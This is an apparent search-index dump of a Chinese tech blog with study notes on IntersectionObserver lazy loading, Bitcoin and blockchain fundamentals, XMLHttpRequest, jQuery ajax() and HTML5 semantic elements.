=\u0026gt;{\rif (item.intersectionRatio){\r// 当目标可视\ritem.target.src = item.target.alt; // 进行属性值覆盖\rlazyload.unobserve(item.target) // 停止观测\r}\r})\r},{\rrootMargin: \u0026quot;100px\u0026quot; // 提前100px\r}); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素\rimgs.forEach((item) =\u0026gt; {\rlazyload.observe(item)\r// 开始观测\r}); ","permalink":"https://xiaochenabc123.github.io/posts/16/","summary":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{\r// 实例化\rtarget.forEach((item) =\u0026gt;{\rif (item.intersectionRatio){\r// 当目标可视\ritem.target.src = item.target.alt; // 进行属性值覆盖\rlazyload.unobserve(item.target) // 停止观测\r}\r})\r},{\rrootMargin: \u0026quot;100px\u0026quot; // 提前100px\r}); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素\rimgs.forEach((item) =\u0026gt; {\rlazyload.observe(item)\r// 开始观测\r}); ","title":"JavaScript-IntersectionObserver构造函数笔记"},{"content":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息\n而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台\n假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份\n","permalink":"https://xiaochenabc123.github.io/posts/15/","summary":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息","title":"简单理解区块链的基本原理"},{"content":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest()\rxmlhttp.onreadystatechange = function(){\rif(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){\rdocument.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText\r}\r}\rconsole.log(xmlhttp.readyState) // 0\rxmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true)\rconsole.log(xmlhttp.readyState) // 1\rxmlhttp.onprogress =function(){\rconsole.log(xmlhttp.readyState) // 3\r}\rxmlhttp.onload = function(){\rconsole.log(xmlhttp.readyState) // 4\r}\rxmlhttp.send();\rXMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）\nopen()方法\n该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）\nxmlhttp.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;,true)\n","permalink":"https://xiaochenabc123.github.io/posts/14/","summary":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest()\rxmlhttp.onreadystatechange = function(){\rif(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){\rdocument.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText\r}\r}\rconsole.log(xmlhttp.readyState) // 0\rxmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true)\rconsole.log(xmlhttp.readyState) // 1\rxmlhttp.onprogress =function(){\rconsole.log(xmlhttp.readyState) // 3\r}\rxmlhttp.onload = function(){\rconsole.log(xmlhttp.readyState) // 4\r}\rxmlhttp.send();\rXMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）","title":"JavaScript-XMLHttpRequest对象笔记"},{"content":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){\r$(\u0026quot;button\u0026quot;).click(function(){\r$.ajax({\rtype: \u0026quot;GET\u0026quot;,\rurl: \u0026quot;https://httpbin.org/get\u0026quot;,\rsuccess: function(getdata){\rconsole.log(getdata)\r}\r})\r})\r});\r参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数\n","permalink":"https://xiaochenabc123.github.io/posts/13/","summary":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){\r$(\u0026quot;button\u0026quot;).click(function(){\r$.ajax({\rtype: \u0026quot;GET\u0026quot;,\rurl: \u0026quot;https://httpbin.org/get\u0026quot;,\rsuccess: function(getdata){\rconsole.log(getdata)\r}\r})\r})\r});\r参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数","title":"jQuery-ajax()方法笔记"},{"content":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt;\r常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt;\r\u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等；\r\u0026lt;nav\u0026gt;：导航，链接；\r\u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次；\r\u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；\r\u0026lt;section\u0026gt;：定义内容的节（段）；\r\u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等；\r\u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；\rmeta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt;\rdevice-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面\r\u0026lt;html\u0026gt; 标识HTML文档的开始\r\u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title\r\u0026lt;body\u0026gt;html文档的主体\r\u0026lt;!--这是一个注释--\u0026gt;\r段落\n\u0026lt;span\u0026gt;\u0026lt;span\u0026gt;\r\u0026lt;h1\u0026gt;~\u0026lt;h6\u0026gt;\r\u0026lt;div\u0026gt;\u0026lt;/div\r定义头部区域\u0026lt;header\u0026gt;\r定义底部区域\u0026lt;footer\u0026gt;\r定义区段\u0026lt;section\u0026gt;\r定义侧边栏区域\u0026lt;aside\u0026gt;\r换行\u0026lt;br\u0026gt;\r文本输入框 \u0026lt;input\u0026gt;\rselect+option 选择列表\n多媒体元素（video和audio）\n例如：\n\u0026lt;video src=\u0026quot;hallo.mp4\u0026quot; controls autoplay=\u0026quot;autoplay\u0026quot; loop\u0026gt;\u0026lt;/video\u0026gt;\r\u0026lt;audio 